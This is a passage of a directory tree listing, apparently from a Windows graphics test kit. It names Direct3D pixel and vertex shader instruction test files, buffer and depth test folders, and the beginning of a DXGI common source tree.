    │               │           │   │           ps2_sw_flow_control_dsx.fx
    │               │           │   │           ps2_sw_flow_control_dsy.fx
    │               │           │   │           ps2_sw_flow_control_texld.fx
    │               │           │   │           ps2_sw_flow_control_texldb.fx
    │               │           │   │           ps2_sw_flow_control_texldd.fx
    │               │           │   │           ps2_sw_flow_control_texldp.fx
    │               │           │   │           ps2_x_flow_control_dsx.fx
    │               │           │   │           ps2_x_flow_control_dsy.fx
    │               │           │   │           ps2_x_flow_control_texld.fx
    │               │           │   │           ps2_x_flow_control_texldb.fx
    │               │           │   │           ps2_x_flow_control_texldd.fx
    │               │           │   │           ps2_x_flow_control_texldp.fx
    │               │           │   │           ps3_0_flow_control_dsx.fx
    │               │           │   │           ps3_0_flow_control_dsy.fx
    │               │           │   │           ps3_0_flow_control_texld.fx
    │               │           │   │           ps3_0_flow_control_texldb.fx
    │               │           │   │           ps3_0_flow_control_texldd.fx
    │               │           │   │           ps3_0_flow_control_texldl.fx
    │               │           │   │           ps3_0_flow_control_texldp.fx
    │               │           │   │           ps3_sw_flow_control_dsx.fx
    │               │           │   │           ps3_sw_flow_control_dsy.fx
    │               │           │   │           ps3_sw_flow_control_texld.fx
    │               │           │   │           ps3_sw_flow_control_texldb.fx
    │               │           │   │           ps3_sw_flow_control_texldd.fx
    │               │           │   │           ps3_sw_flow_control_texldl.fx
    │               │           │   │           ps3_sw_flow_control_texldp.fx
    │               │           │   │           ps_1_1_inst_add.fx
    │               │           │   │           ps_1_1_inst_cnd.fx
    │               │           │   │           ps_1_1_inst_dp3.fx
    │               │           │   │           ps_1_1_inst_lrp.fx
    │               │           │   │           ps_1_1_inst_mad.fx
    │               │           │   │           ps_1_1_inst_mov.fx
    │               │           │   │           ps_1_1_inst_mul.fx
    │               │           │   │           ps_1_1_inst_sub.fx
    │               │           │   │           ps_1_1_inst_tex.fx
    │               │           │   │           ps_1_1_inst_texbem.fx
    │               │           │   │           ps_1_1_inst_texbeml.fx
    │               │           │   │           ps_1_1_inst_texkill.fx
    │               │           │   │           ps_1_1_inst_texm3x2tex.fx
    │               │           │   │           ps_1_1_inst_texm3x3spec.fx
    │               │           │   │           ps_1_1_inst_texm3x3tex.fx
    │               │           │   │           ps_1_1_inst_texm3x3vspec.fx
    │               │           │   │           ps_1_1_inst_texreg2ar.fx
    │               │           │   │           ps_1_1_inst_texreg2gb.fx
    │               │           │   │           ps_1_2_inst_add.fx
    │               │           │   │           ps_1_2_inst_cmp.fx
    │               │           │   │           ps_1_2_inst_cnd.fx
    │               │           │   │           ps_1_2_inst_dp3.fx
    │               │           │   │           ps_1_2_inst_dp4.fx
    │               │           │   │           ps_1_2_inst_lrp.fx
    │               │           │   │           ps_1_2_inst_mad.fx
    │               │           │   │           ps_1_2_inst_mov.fx
    │               │           │   │           ps_1_2_inst_mul.fx
    │               │           │   │           ps_1_2_inst_sub.fx
    │               │           │   │           ps_1_2_inst_tex.fx
    │               │           │   │           ps_1_2_inst_texbem.fx
    │               │           │   │           ps_1_2_inst_texbeml.fx
    │               │           │   │           ps_1_2_inst_texdp3.fx
    │               │           │   │           ps_1_2_inst_texdp3tex.fx
    │               │           │   │           ps_1_2_inst_texkill.fx
    │               │           │   │           ps_1_2_inst_texm3x2tex.fx
    │               │           │   │           ps_1_2_inst_texm3x3.fx
    │               │           │   │           ps_1_2_inst_texm3x3spec.fx
    │               │           │   │           ps_1_2_inst_texm3x3tex.fx
    │               │           │   │           ps_1_2_inst_texm3x3vspec.fx
    │               │           │   │           ps_1_2_inst_texreg2ar.fx
    │               │           │   │           ps_1_2_inst_texreg2gb.fx
    │               │           │   │           ps_1_2_inst_texreg2rgb.fx
    │               │           │   │           ps_1_3_inst_add.fx
    │               │           │   │           ps_1_3_inst_cmp.fx
    │               │           │   │           ps_1_3_inst_cnd.fx
    │               │           │   │           ps_1_3_inst_dp3.fx
    │               │           │   │           ps_1_3_inst_dp4.fx
    │               │           │   │           ps_1_3_inst_lrp.fx
    │               │           │   │           ps_1_3_inst_mad.fx
    │               │           │   │           ps_1_3_inst_mov.fx
    │               │           │   │           ps_1_3_inst_mul.fx
    │               │           │   │           ps_1_3_inst_sub.fx
    │               │           │   │           ps_1_3_inst_tex.fx
    │               │           │   │           ps_1_3_inst_texbem.fx
    │               │           │   │           ps_1_3_inst_texbeml.fx
    │               │           │   │           ps_1_3_inst_texdp3.fx
    │               │           │   │           ps_1_3_inst_texdp3tex.fx
    │               │           │   │           ps_1_3_inst_texkill.fx
    │               │           │   │           ps_1_3_inst_texm3x2depth.fx
    │               │           │   │           ps_1_3_inst_texm3x2tex.fx
    │               │           │   │           ps_1_3_inst_texm3x3.fx
    │               │           │   │           ps_1_3_inst_texm3x3spec.fx
    │               │           │   │           ps_1_3_inst_texm3x3tex.fx
    │               │           │   │           ps_1_3_inst_texm3x3vspec.fx
    │               │           │   │           ps_1_3_inst_texreg2ar.fx
    │               │           │   │           ps_1_3_inst_texreg2gb.fx
    │               │           │   │           ps_1_3_inst_texreg2rgb.fx
    │               │           │   │           ps_1_4_inst_add.fx
    │               │           │   │           ps_1_4_inst_bem.fx
    │               │           │   │           ps_1_4_inst_cmp.fx
    │               │           │   │           ps_1_4_inst_cnd.fx
    │               │           │   │           ps_1_4_inst_dp3.fx
    │               │           │   │           ps_1_4_inst_dp4.fx
    │               │           │   │           ps_1_4_inst_lrp.fx
    │               │           │   │           ps_1_4_inst_mad.fx
    │               │           │   │           ps_1_4_inst_mov.fx
    │               │           │   │           ps_1_4_inst_mul.fx
    │               │           │   │           ps_1_4_inst_sub.fx
    │               │           │   │           ps_1_4_inst_texdepth.fx
    │               │           │   │           ps_1_4_inst_texkill.fx
    │               │           │   │           ps_1_4_inst_texld.fx
    │               │           │   │           ps_2_0_inst_abs.fx
    │               │           │   │           ps_2_0_inst_add.fx
    │               │           │   │           ps_2_0_inst_cmp.fx
    │               │           │   │           ps_2_0_inst_crs.fx
    │               │           │   │           ps_2_0_inst_dp2add.fx
    │               │           │   │           ps_2_0_inst_dp3.fx
    │               │           │   │           ps_2_0_inst_dp4.fx
    │               │           │   │           ps_2_0_inst_exp.fx
    │               │           │   │           ps_2_0_inst_frc.fx
    │               │           │   │           ps_2_0_inst_log.fx
    │               │           │   │           ps_2_0_inst_lrp.fx
    │               │           │   │           ps_2_0_inst_m3x2.fx
    │               │           │   │           ps_2_0_inst_m3x3.fx
    │               │           │   │           ps_2_0_inst_m3x4.fx
    │               │           │   │           ps_2_0_inst_m4x4.fx
    │               │           │   │           ps_2_0_inst_mad.fx
    │               │           │   │           ps_2_0_inst_max.fx
    │               │           │   │           ps_2_0_inst_min.fx
    │               │           │   │           ps_2_0_inst_mov.fx
    │               │           │   │           ps_2_0_inst_mul.fx
    │               │           │   │           ps_2_0_inst_nrm.fx
    │               │           │   │           ps_2_0_inst_pow.fx
    │               │           │   │           ps_2_0_inst_rcp.fx
    │               │           │   │           ps_2_0_inst_rsq.fx
    │               │           │   │           ps_2_0_inst_sincos.fx
    │               │           │   │           ps_2_0_inst_sub.fx
    │               │           │   │           ps_2_0_inst_texkill.fx
    │               │           │   │           ps_2_0_inst_texld.fx
    │               │           │   │           ps_2_0_inst_texldb.fx
    │               │           │   │           ps_2_0_inst_texldp.fx
    │               │           │   │           ps_2_sw_inst_abs.fx
    │               │           │   │           ps_2_sw_inst_add.fx
    │               │           │   │           ps_2_sw_inst_cmp.fx
    │               │           │   │           ps_2_sw_inst_crs.fx
    │               │           │   │           ps_2_sw_inst_dp2add.fx
    │               │           │   │           ps_2_sw_inst_dp3.fx
    │               │           │   │           ps_2_sw_inst_dp4.fx
    │               │           │   │           ps_2_sw_inst_dsx.fx
    │               │           │   │           ps_2_sw_inst_dsy.fx
    │               │           │   │           ps_2_sw_inst_exp.fx
    │               │           │   │           ps_2_sw_inst_frc.fx
    │               │           │   │           ps_2_sw_inst_log.fx
    │               │           │   │           ps_2_sw_inst_lrp.fx
    │               │           │   │           ps_2_sw_inst_m3x2.fx
    │               │           │   │           ps_2_sw_inst_m3x3.fx
    │               │           │   │           ps_2_sw_inst_m3x4.fx
    │               │           │   │           ps_2_sw_inst_mad.fx
    │               │           │   │           ps_2_sw_inst_max.fx
    │               │           │   │           ps_2_sw_inst_min.fx
    │               │           │   │           ps_2_sw_inst_mov.fx
    │               │           │   │           ps_2_sw_inst_mul.fx
    │               │           │   │           ps_2_sw_inst_nrm.fx
    │               │           │   │           ps_2_sw_inst_pow.fx
    │               │           │   │           ps_2_sw_inst_rcp.fx
    │               │           │   │           ps_2_sw_inst_rsq.fx
    │               │           │   │           ps_2_sw_inst_setp_gt.fx
    │               │           │   │           ps_2_sw_inst_sincos.fx
    │               │           │   │           ps_2_sw_inst_sub.fx
    │               │           │   │           ps_2_sw_inst_texld.fx
    │               │           │   │           ps_2_sw_inst_texldb.fx
    │               │           │   │           ps_2_sw_inst_texldd.fx
    │               │           │   │           ps_2_sw_inst_texldp.fx
    │               │           │   │           ps_2_x_inst_abs.fx
    │               │           │   │           ps_2_x_inst_add.fx
    │               │           │   │           ps_2_x_inst_cmp.fx
    │               │           │   │           ps_2_x_inst_crs.fx
    │               │           │   │           ps_2_x_inst_dp2add.fx
    │               │           │   │           ps_2_x_inst_dp3.fx
    │               │           │   │           ps_2_x_inst_dp4.fx
    │               │           │   │           ps_2_x_inst_dsx.fx
    │               │           │   │           ps_2_x_inst_dsy.fx
    │               │           │   │           ps_2_x_inst_exp.fx
    │               │           │   │           ps_2_x_inst_frc.fx
    │               │           │   │           ps_2_x_inst_log.fx
    │               │           │   │           ps_2_x_inst_lrp.fx
    │               │           │   │           ps_2_x_inst_m3x2.fx
    │               │           │   │           ps_2_x_inst_m3x3.fx
    │               │           │   │           ps_2_x_inst_m3x4.fx
    │               │           │   │           ps_2_x_inst_mad.fx
    │               │           │   │           ps_2_x_inst_max.fx
    │               │           │   │           ps_2_x_inst_min.fx
    │               │           │   │           ps_2_x_inst_mov.fx
    │               │           │   │           ps_2_x_inst_mul.fx
    │               │           │   │           ps_2_x_inst_nrm.fx
    │               │           │   │           ps_2_x_inst_pow.fx
    │               │           │   │           ps_2_x_inst_rcp.fx
    │               │           │   │           ps_2_x_inst_rsq.fx
    │               │           │   │           ps_2_x_inst_setp_gt.fx
    │               │           │   │           ps_2_x_inst_sincos.fx
    │               │           │   │           ps_2_x_inst_sub.fx
    │               │           │   │           ps_2_x_inst_texld.fx
    │               │           │   │           ps_2_x_inst_texldb.fx
    │               │           │   │           ps_2_x_inst_texldd.fx
    │               │           │   │           ps_2_x_inst_texldp.fx
    │               │           │   │           ps_2_x_temps.fx
    │               │           │   │           ps_3_0_inst_abs.fx
    │               │           │   │           ps_3_0_inst_add.fx
    │               │           │   │           ps_3_0_inst_cmp.fx
    │               │           │   │           ps_3_0_inst_crs.fx
    │               │           │   │           ps_3_0_inst_dp2add.fx
    │               │           │   │           ps_3_0_inst_dp3.fx
    │               │           │   │           ps_3_0_inst_dp4.fx
    │               │           │   │           ps_3_0_inst_dsx.fx
    │               │           │   │           ps_3_0_inst_dsy.fx
    │               │           │   │           ps_3_0_inst_exp.fx
    │               │           │   │           ps_3_0_inst_frc.fx
    │               │           │   │           ps_3_0_inst_log.fx
    │               │           │   │           ps_3_0_inst_lrp.fx
    │               │           │   │           ps_3_0_inst_m3x2.fx
    │               │           │   │           ps_3_0_inst_m3x3.fx
    │               │           │   │           ps_3_0_inst_m3x4.fx
    │               │           │   │           ps_3_0_inst_m4x4.fx
    │               │           │   │           ps_3_0_inst_mad.fx
    │               │           │   │           ps_3_0_inst_max.fx
    │               │           │   │           ps_3_0_inst_min.fx
    │               │           │   │           ps_3_0_inst_mov.fx
    │               │           │   │           ps_3_0_inst_mul.fx
    │               │           │   │           ps_3_0_inst_nrm.fx
    │               │           │   │           ps_3_0_inst_pow.fx
    │               │           │   │           ps_3_0_inst_rcp.fx
    │               │           │   │           ps_3_0_inst_rsq.fx
    │               │           │   │           ps_3_0_inst_setp_lt.fx
    │               │           │   │           ps_3_0_inst_sincos.fx
    │               │           │   │           ps_3_0_inst_sub.fx
    │               │           │   │           ps_3_0_inst_texkill.fx
    │               │           │   │           ps_3_0_inst_texld.fx
    │               │           │   │           ps_3_0_inst_texldb.fx
    │               │           │   │           ps_3_0_inst_texldl.fx
    │               │           │   │           ps_3_0_inst_texldp.fx
    │               │           │   │           ps_3_sw_inst_abs.fx
    │               │           │   │           ps_3_sw_inst_add.fx
    │               │           │   │           ps_3_sw_inst_cmp.fx
    │               │           │   │           ps_3_sw_inst_crs.fx
    │               │           │   │           ps_3_sw_inst_dp2add.fx
    │               │           │   │           ps_3_sw_inst_dp3.fx
    │               │           │   │           ps_3_sw_inst_dp4.fx
    │               │           │   │           ps_3_sw_inst_dsx.fx
    │               │           │   │           ps_3_sw_inst_dsy.fx
    │               │           │   │           ps_3_sw_inst_exp.fx
    │               │           │   │           ps_3_sw_inst_frc.fx
    │               │           │   │           ps_3_sw_inst_log.fx
    │               │           │   │           ps_3_sw_inst_lrp.fx
    │               │           │   │           ps_3_sw_inst_m3x2.fx
    │               │           │   │           ps_3_sw_inst_m3x3.fx
    │               │           │   │           ps_3_sw_inst_m3x4.fx
    │               │           │   │           ps_3_sw_inst_m4x4.fx
    │               │           │   │           ps_3_sw_inst_mad.fx
    │               │           │   │           ps_3_sw_inst_max.fx
    │               │           │   │           ps_3_sw_inst_min.fx
    │               │           │   │           ps_3_sw_inst_mov.fx
    │               │           │   │           ps_3_sw_inst_mul.fx
    │               │           │   │           ps_3_sw_inst_nrm.fx
    │               │           │   │           ps_3_sw_inst_pow.fx
    │               │           │   │           ps_3_sw_inst_rcp.fx
    │               │           │   │           ps_3_sw_inst_rsq.fx
    │               │           │   │           ps_3_sw_inst_setp_lt.fx
    │               │           │   │           ps_3_sw_inst_sincos.fx
    │               │           │   │           ps_3_sw_inst_sub.fx
    │               │           │   │           ps_3_sw_inst_texkill.fx
    │               │           │   │           ps_3_sw_inst_texld.fx
    │               │           │   │           ps_3_sw_inst_texldb.fx
    │               │           │   │           ps_3_sw_inst_texldl.fx
    │               │           │   │           ps_3_sw_inst_texldp.fx
    │               │           │   │           ps_basic_gradient_instructions.fx
    │               │           │   │           ps_centroid.fx
    │               │           │   │           ps_dsx_src_modifiers.fx
    │               │           │   │           ps_dsy_src_modifiers.fx
    │               │           │   │           ps_if_static_depth.fx
    │               │           │   │           ps_sinco_dest.fx
    │               │           │   │           ps_texkill_v.fx
    │               │           │   │           ps_vFace_cmp.fx
    │               │           │   │           test_include.fx
    │               │           │   │           vs3_0_flow_control_texldl.fx
    │               │           │   │           vs3_sw_flow_control_texldl.fx
    │               │           │   │           vs_1_1_inst_add.fx
    │               │           │   │           vs_1_1_inst_dp3.fx
    │               │           │   │           vs_1_1_inst_dp4.fx
    │               │           │   │           vs_1_1_inst_dst.fx
    │               │           │   │           vs_1_1_inst_exp.fx
    │               │           │   │           vs_1_1_inst_expp.fx
    │               │           │   │           vs_1_1_inst_frc.fx
    │               │           │   │           vs_1_1_inst_lit.fx
    │               │           │   │           vs_1_1_inst_log.fx
    │               │           │   │           vs_1_1_inst_logp.fx
    │               │           │   │           vs_1_1_inst_m3x2.fx
    │               │           │   │           vs_1_1_inst_m3x3.fx
    │               │           │   │           vs_1_1_inst_m3x4.fx
    │               │           │   │           vs_1_1_inst_m4x3.fx
    │               │           │   │           vs_1_1_inst_m4x4.fx
    │               │           │   │           vs_1_1_inst_mad.fx
    │               │           │   │           vs_1_1_inst_max.fx
    │               │           │   │           vs_1_1_inst_min.fx
    │               │           │   │           vs_1_1_inst_mov.fx
    │               │           │   │           vs_1_1_inst_mul.fx
    │               │           │   │           vs_1_1_inst_rcp.fx
    │               │           │   │           vs_1_1_inst_rsq.fx
    │               │           │   │           vs_1_1_inst_sge.fx
    │               │           │   │           vs_1_1_inst_slt.fx
    │               │           │   │           vs_1_1_inst_sub.fx
    │               │           │   │           vs_2_0_inst_abs.fx
    │               │           │   │           vs_2_0_inst_add.fx
    │               │           │   │           vs_2_0_inst_crs.fx
    │               │           │   │           vs_2_0_inst_dp3.fx
    │               │           │   │           vs_2_0_inst_dp4.fx
    │               │           │   │           vs_2_0_inst_dst.fx
    │               │           │   │           vs_2_0_inst_exp.fx
    │               │           │   │           vs_2_0_inst_expp.fx
    │               │           │   │           vs_2_0_inst_frc.fx
    │               │           │   │           vs_2_0_inst_lit.fx
    │               │           │   │           vs_2_0_inst_log.fx
    │               │           │   │           vs_2_0_inst_logp.fx
    │               │           │   │           vs_2_0_inst_lrp.fx
    │               │           │   │           vs_2_0_inst_m3x2.fx
    │               │           │   │           vs_2_0_inst_m3x3.fx
    │               │           │   │           vs_2_0_inst_m3x4.fx
    │               │           │   │           vs_2_0_inst_m4x3.fx
    │               │           │   │           vs_2_0_inst_m4x4.fx
    │               │           │   │           vs_2_0_inst_mad.fx
    │               │           │   │           vs_2_0_inst_max.fx
    │               │           │   │           vs_2_0_inst_min.fx
    │               │           │   │           vs_2_0_inst_mov.fx
    │               │           │   │           vs_2_0_inst_mova.fx
    │               │           │   │           vs_2_0_inst_mul.fx
    │               │           │   │           vs_2_0_inst_nrm.fx
    │               │           │   │           vs_2_0_inst_pow.fx
    │               │           │   │           vs_2_0_inst_rcp.fx
    │               │           │   │           vs_2_0_inst_rsq.fx
    │               │           │   │           vs_2_0_inst_sge.fx
    │               │           │   │           vs_2_0_inst_sgn.fx
    │               │           │   │           vs_2_0_inst_sincos.fx
    │               │           │   │           vs_2_0_inst_slt.fx
    │               │           │   │           vs_2_0_inst_sub.fx
    │               │           │   │           vs_2_sw_inst_abs.fx
    │               │           │   │           vs_2_sw_inst_add.fx
    │               │           │   │           vs_2_sw_inst_crs.fx
    │               │           │   │           vs_2_sw_inst_dp3.fx
    │               │           │   │           vs_2_sw_inst_dp4.fx
    │               │           │   │           vs_2_sw_inst_dst.fx
    │               │           │   │           vs_2_sw_inst_exp.fx
    │               │           │   │           vs_2_sw_inst_expp.fx
    │               │           │   │           vs_2_sw_inst_frc.fx
    │               │           │   │           vs_2_sw_inst_lit.fx
    │               │           │   │           vs_2_sw_inst_log.fx
    │               │           │   │           vs_2_sw_inst_logp.fx
    │               │           │   │           vs_2_sw_inst_lrp.fx
    │               │           │   │           vs_2_sw_inst_m3x2.fx
    │               │           │   │           vs_2_sw_inst_m3x3.fx
    │               │           │   │           vs_2_sw_inst_m3x4.fx
    │               │           │   │           vs_2_sw_inst_m4x3.fx
    │               │           │   │           vs_2_sw_inst_m4x4.fx
    │               │           │   │           vs_2_sw_inst_mad.fx
    │               │           │   │           vs_2_sw_inst_max.fx
    │               │           │   │           vs_2_sw_inst_min.fx
    │               │           │   │           vs_2_sw_inst_mov.fx
    │               │           │   │           vs_2_sw_inst_mova.fx
    │               │           │   │           vs_2_sw_inst_mul.fx
    │               │           │   │           vs_2_sw_inst_nrm.fx
    │               │           │   │           vs_2_sw_inst_pow.fx
    │               │           │   │           vs_2_sw_inst_rcp.fx
    │               │           │   │           vs_2_sw_inst_rsq.fx
    │               │           │   │           vs_2_sw_inst_setp_eq.fx
    │               │           │   │           vs_2_sw_inst_sge.fx
    │               │           │   │           vs_2_sw_inst_sgn.fx
    │               │           │   │           vs_2_sw_inst_sincos.fx
    │               │           │   │           vs_2_sw_inst_slt.fx
    │               │           │   │           vs_2_sw_inst_sub.fx
    │               │           │   │           vs_2_x_inst_abs.fx
    │               │           │   │           vs_2_x_inst_add.fx
    │               │           │   │           vs_2_x_inst_crs.fx
    │               │           │   │           vs_2_x_inst_dp3.fx
    │               │           │   │           vs_2_x_inst_dp4.fx
    │               │           │   │           vs_2_x_inst_dst.fx
    │               │           │   │           vs_2_x_inst_exp.fx
    │               │           │   │           vs_2_x_inst_expp.fx
    │               │           │   │           vs_2_x_inst_frc.fx
    │               │           │   │           vs_2_x_inst_lit.fx
    │               │           │   │           vs_2_x_inst_log.fx
    │               │           │   │           vs_2_x_inst_logp.fx
    │               │           │   │           vs_2_x_inst_lrp.fx
    │               │           │   │           vs_2_x_inst_m3x2.fx
    │               │           │   │           vs_2_x_inst_m3x3.fx
    │               │           │   │           vs_2_x_inst_m3x4.fx
    │               │           │   │           vs_2_x_inst_m4x3.fx
    │               │           │   │           vs_2_x_inst_m4x4.fx
    │               │           │   │           vs_2_x_inst_mad.fx
    │               │           │   │           vs_2_x_inst_max.fx
    │               │           │   │           vs_2_x_inst_min.fx
    │               │           │   │           vs_2_x_inst_mov.fx
    │               │           │   │           vs_2_x_inst_mova.fx
    │               │           │   │           vs_2_x_inst_mul.fx
    │               │           │   │           vs_2_x_inst_nrm.fx
    │               │           │   │           vs_2_x_inst_pow.fx
    │               │           │   │           vs_2_x_inst_rcp.fx
    │               │           │   │           vs_2_x_inst_rsq.fx
    │               │           │   │           vs_2_x_inst_setp_eq.fx
    │               │           │   │           vs_2_x_inst_sge.fx
    │               │           │   │           vs_2_x_inst_sgn.fx
    │               │           │   │           vs_2_x_inst_sincos.fx
    │               │           │   │           vs_2_x_inst_slt.fx
    │               │           │   │           vs_2_x_inst_sub.fx
    │               │           │   │           vs_2_x_temps.fx
    │               │           │   │           vs_3_0_inst_abs.fx
    │               │           │   │           vs_3_0_inst_add.fx
    │               │           │   │           vs_3_0_inst_crs.fx
    │               │           │   │           vs_3_0_inst_dp3.fx
    │               │           │   │           vs_3_0_inst_dp4.fx
    │               │           │   │           vs_3_0_inst_dst.fx
    │               │           │   │           vs_3_0_inst_exp.fx
    │               │           │   │           vs_3_0_inst_expp.fx
    │               │           │   │           vs_3_0_inst_frc.fx
    │               │           │   │           vs_3_0_inst_lit.fx
    │               │           │   │           vs_3_0_inst_log.fx
    │               │           │   │           vs_3_0_inst_logp.fx
    │               │           │   │           vs_3_0_inst_lrp.fx
    │               │           │   │           vs_3_0_inst_m3x2.fx
    │               │           │   │           vs_3_0_inst_m3x3.fx
    │               │           │   │           vs_3_0_inst_m3x4.fx
    │               │           │   │           vs_3_0_inst_m4x3.fx
    │               │           │   │           vs_3_0_inst_m4x4.fx
    │               │           │   │           vs_3_0_inst_mad.fx
    │               │           │   │           vs_3_0_inst_max.fx
    │               │           │   │           vs_3_0_inst_min.fx
    │               │           │   │           vs_3_0_inst_mova.fx
    │               │           │   │           vs_3_0_inst_mul.fx
    │               │           │   │           vs_3_0_inst_nrm.fx
    │               │           │   │           vs_3_0_inst_pow.fx
    │               │           │   │           vs_3_0_inst_rcp.fx
    │               │           │   │           vs_3_0_inst_rsq.fx
    │               │           │   │           vs_3_0_inst_setp_ne.fx
    │               │           │   │           vs_3_0_inst_sge.fx
    │               │           │   │           vs_3_0_inst_sgn.fx
    │               │           │   │           vs_3_0_inst_sincos.fx
    │               │           │   │           vs_3_0_inst_slt.fx
    │               │           │   │           vs_3_0_inst_sub.fx
    │               │           │   │           vs_3_0_inst_texldl.fx
    │               │           │   │           vs_3_sw_inst_abs.fx
    │               │           │   │           vs_3_sw_inst_add.fx
    │               │           │   │           vs_3_sw_inst_crs.fx
    │               │           │   │           vs_3_sw_inst_dp3.fx
    │               │           │   │           vs_3_sw_inst_dp4.fx
    │               │           │   │           vs_3_sw_inst_dst.fx
    │               │           │   │           vs_3_sw_inst_exp.fx
    │               │           │   │           vs_3_sw_inst_expp.fx
    │               │           │   │           vs_3_sw_inst_frc.fx
    │               │           │   │           vs_3_sw_inst_lit.fx
    │               │           │   │           vs_3_sw_inst_log.fx
    │               │           │   │           vs_3_sw_inst_logp.fx
    │               │           │   │           vs_3_sw_inst_lrp.fx
    │               │           │   │           vs_3_sw_inst_m3x2.fx
    │               │           │   │           vs_3_sw_inst_m3x3.fx
    │               │           │   │           vs_3_sw_inst_m3x4.fx
    │               │           │   │           vs_3_sw_inst_m4x3.fx
    │               │           │   │           vs_3_sw_inst_m4x4.fx
    │               │           │   │           vs_3_sw_inst_mad.fx
    │               │           │   │           vs_3_sw_inst_max.fx
    │               │           │   │           vs_3_sw_inst_min.fx
    │               │           │   │           vs_3_sw_inst_mova.fx
    │               │           │   │           vs_3_sw_inst_mul.fx
    │               │           │   │           vs_3_sw_inst_nrm.fx
    │               │           │   │           vs_3_sw_inst_pow.fx
    │               │           │   │           vs_3_sw_inst_rcp.fx
    │               │           │   │           vs_3_sw_inst_rsq.fx
    │               │           │   │           vs_3_sw_inst_setp_ne.fx
    │               │           │   │           vs_3_sw_inst_sge.fx
    │               │           │   │           vs_3_sw_inst_sgn.fx
    │               │           │   │           vs_3_sw_inst_sincos.fx
    │               │           │   │           vs_3_sw_inst_slt.fx
    │               │           │   │           vs_3_sw_inst_sub.fx
    │               │           │   │           vs_3_sw_inst_texldl.fx
    │               │           │   │           vs_a0_rule.fx
    │               │           │   │           vs_basic_a0_usage.fx
    │               │           │   │           vs_if_static_depth.fx
    │               │           │   │           vs_sinco_dest.fx
    │               │           │   │           
    │               │           │   └───SVCaseGen
    │               │           │           App.ico
    │               │           │           EditOutput.cs
    │               │           │           EditOutput.resx
    │               │           │           sources
    │               │           │           SVCaseGen.cs
    │               │           │           SVCaseGenForm.cs
    │               │           │           SVCaseGenForm.resx
    │               │           │           svcases.gen
    │               │           │           
    │               │           ├───vbib
    │               │           │   │   3dt.rc
    │               │           │   │   cvertexindexbuffertest.cpp
    │               │           │   │   cvertexindexbuffertest.h
    │               │           │   │   discarddynamic.cpp
    │               │           │   │   happy.bmp
    │               │           │   │   hugebuffer.cpp
    │               │           │   │   internalpointeralias.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   lockactive.cpp
    │               │           │   │   lockpointeralias.cpp
    │               │           │   │   lostonreset.cpp
    │               │           │   │   multiplelocks.cpp
    │               │           │   │   normalbuffer.cpp
    │               │           │   │   priority.cpp
    │               │           │   │   relockdynamic.cpp
    │               │           │   │   switchrenderstate.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───vbswap
    │               │           │       happy.bmp
    │               │           │       kitContent.kml
    │               │           │       skybox_top.bmp
    │               │           │       sources
    │               │           │       vbswap.cpp
    │               │           │       vbswap.h
    │               │           │       vbswap.rc
    │               │           │       vbswap.x
    │               │           │       
    │               │           ├───volume
    │               │           │       address.cpp
    │               │           │       blend.cpp
    │               │           │       draw.cpp
    │               │           │       filter.cpp
    │               │           │       kitContent.kml
    │               │           │       mipmap.cpp
    │               │           │       sources
    │               │           │       texgen.cpp
    │               │           │       texture.cpp
    │               │           │       volume.cpp
    │               │           │       volume.h
    │               │           │       volume.rc
    │               │           │       
    │               │           ├───WaitVBl
    │               │           │       kitContent.kml
    │               │           │       main.cpp
    │               │           │       qpc.cpp
    │               │           │       qpc.h
    │               │           │       sources
    │               │           │       WaitVBL.cpp
    │               │           │       WaitVBL.h
    │               │           │       WaitVBL.rc
    │               │           │       
    │               │           ├───wbuffer
    │               │           │       kitContent.kml
    │               │           │       sources
    │               │           │       wbuffer.cpp
    │               │           │       wbuffer.h
    │               │           │       wbuffer.rc
    │               │           │       
    │               │           ├───wcmp
    │               │           │       always.cpp
    │               │           │       combo.cpp
    │               │           │       equal.cpp
    │               │           │       greater.cpp
    │               │           │       kitContent.kml
    │               │           │       less.cpp
    │               │           │       sources
    │               │           │       wcmp.cpp
    │               │           │       wcmp.h
    │               │           │       wcmp.rc
    │               │           │       
    │               │           ├───zbias
    │               │           │   │   kitContent.kml
    │               │           │   │   wbuffer.cpp
    │               │           │   │   zbias.cpp
    │               │           │   │   zbias.fx
    │               │           │   │   zbias.h
    │               │           │   │   zbias.rc
    │               │           │   │   zbuffer.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───zbuffer
    │               │           │       discard.cpp
    │               │           │       enable.cpp
    │               │           │       kitContent.kml
    │               │           │       never.cpp
    │               │           │       print.cpp
    │               │           │       sources
    │               │           │       verify.cpp
    │               │           │       zbuffer.cpp
    │               │           │       zbuffer.h
    │               │           │       zbuffer.rc
    │               │           │       
    │               │           ├───zcmp
    │               │           │   │   always.cpp
    │               │           │   │   combo.cpp
    │               │           │   │   equal.cpp
    │               │           │   │   greater.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   less.cpp
    │               │           │   │   zcmp.cpp
    │               │           │   │   zcmp.h
    │               │           │   │   zcmp.rc
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           └───zfight
    │               │               │   kitContent.kml
    │               │               │   zfight.cpp
    │               │               │   zfight.h
    │               │               │   zfight.rc
    │               │               │   ZFight.vcproj
    │               │               │   ZFight.vcproj.vspscc
    │               │               │   
    │               │               └───original
    │               │                       sources
    │               │                       
    │               └───dxgi
    │                   ├───common
    │                   │   ├───include
    │                   │   │       BasicD3D10.h
    │                   │   │       CreateSWAdapter.h
    │                   │   │       D3D10RefUtil.h
    │                   │   │       D3D10SwapChain.h
    │                   │   │       DCOMPIsolation.h
    │                   │   │       DeviceWrapper10.h
    │                   │   │       DeviceWrapper11.h
    │                   │   │       DXGIBBFMT.H
    │                   │   │       DXGIFMT.H
    │                   │   │       DXGIPresentFlagRecord.h
    │                   │   │       DXGIRational.h
    │                   │   │       DXGIScanoutFormats.h
    │                   │   │       DXGISurfUtils.h
    │                   │   │       DXGISwapChainFlag.h
    │                   │   │       DXGISwapEffects.h
    │                   │   │       DXGIWndClass.h
    │                   │   │       EnumModesGDI.h
    │                   │   │       GetDeviceInfo9.h
    │                   │   │       ModeSet.h
    │                   │   │       
    │                   │   └───source
    │                   │       │   dirs
    │                   │       │   
    │                   │       ├───BasicD3D10
    │                   │       │       BasicD3D10.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───CreateSWAdapter
    │                   │       │       CreateSWAdapter.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───D3D10RefUtil
